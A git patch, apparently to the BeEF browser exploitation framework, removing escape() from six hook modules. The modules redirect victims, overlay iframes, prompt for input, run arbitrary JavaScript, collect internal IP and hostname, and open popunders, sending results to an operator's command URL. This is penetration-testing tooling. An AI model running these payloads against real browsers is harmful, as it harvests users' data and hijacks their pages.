From 06b4d56ed183a9cfcad3191507a8252339e340c1 Mon Sep 17 00:00:00 2001
From: passbe <passbe@b87d56ec-f9c0-11de-8c8a-61c5e9addfc9>
Date: Tue, 10 May 2011 23:46:48 +0000
Subject: [PATCH] Removed all remaining escape()'s on module returns. The
 network stack handles this magically now. (Fixes issue 302)

git-svn-id: https://beef.googlecode.com/svn/trunk@965 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
---
 modules/browser/site_redirect/command.js         | 2 +-
 modules/browser/site_redirect_iframe/command.js  | 4 ++--
 modules/misc/prompt_dialog/command.js            | 2 +-
 modules/misc/raw_javascript/command.js           | 2 +-
 modules/network/detect_local_settings/command.js | 2 +-
 modules/persistence/popunder_window/command.js   | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/modules/browser/site_redirect/command.js b/modules/browser/site_redirect/command.js
index 08f25a049..af310802c 100644
--- a/modules/browser/site_redirect/command.js
+++ b/modules/browser/site_redirect/command.js
@@ -1,6 +1,6 @@
 beef.execute(function() {
 	
-    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape('Redirected to: <%= @redirect_url %>'), function(){window.location = "<%= @redirect_url %>"});
+    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>', function(){window.location = "<%= @redirect_url %>"});
 
 });
 
diff --git a/modules/browser/site_redirect_iframe/command.js b/modules/browser/site_redirect_iframe/command.js
index 4b58f4c19..e179cf2b4 100644
--- a/modules/browser/site_redirect_iframe/command.js
+++ b/modules/browser/site_redirect_iframe/command.js
@@ -7,12 +7,12 @@ beef.execute(function() {
 
 	$j("iframe").remove();
 	
-	beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); } });
+	beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
 
 	setTimeout(function() { 
 		if(!sent) {
 			result = 'Iframe failed to load, timeout';
-			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
+			beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
 			document.title = iframe_src + " is not available";
 			sent = true;
 		}
diff --git a/modules/misc/prompt_dialog/command.js b/modules/misc/prompt_dialog/command.js
index b00965044..b68e59b4a 100644
--- a/modules/misc/prompt_dialog/command.js
+++ b/modules/misc/prompt_dialog/command.js
@@ -1,5 +1,5 @@
 beef.execute(function() {
   
   var answer = prompt("<%== @question %>","")
-  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer));
+  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);
 });
diff --git a/modules/misc/raw_javascript/command.js b/modules/misc/raw_javascript/command.js
index 37c299dd8..cd1c6d2c6 100644
--- a/modules/misc/raw_javascript/command.js
+++ b/modules/misc/raw_javascript/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
 			result+= n + " " + e[n] + "\n"; 
 	} 
 	
-	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
 });
 
 
diff --git a/modules/network/detect_local_settings/command.js b/modules/network/detect_local_settings/command.js
index b759d3672..3608d13d9 100644
--- a/modules/network/detect_local_settings/command.js
+++ b/modules/network/detect_local_settings/command.js
@@ -5,6 +5,6 @@ beef.execute(function() {
 
 	if(internal_ip && internal_hostname) {
 		beef.net.send('<%= @command_url %>', <%= @command_id %>,
-			'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname));
+			'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
 	}
 });
diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js
index b82392a45..480b71760 100644
--- a/modules/persistence/popunder_window/command.js
+++ b/modules/persistence/popunder_window/command.js
@@ -6,5 +6,5 @@ beef.execute(function() {
 
 	window.focus();	
 
-	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
 });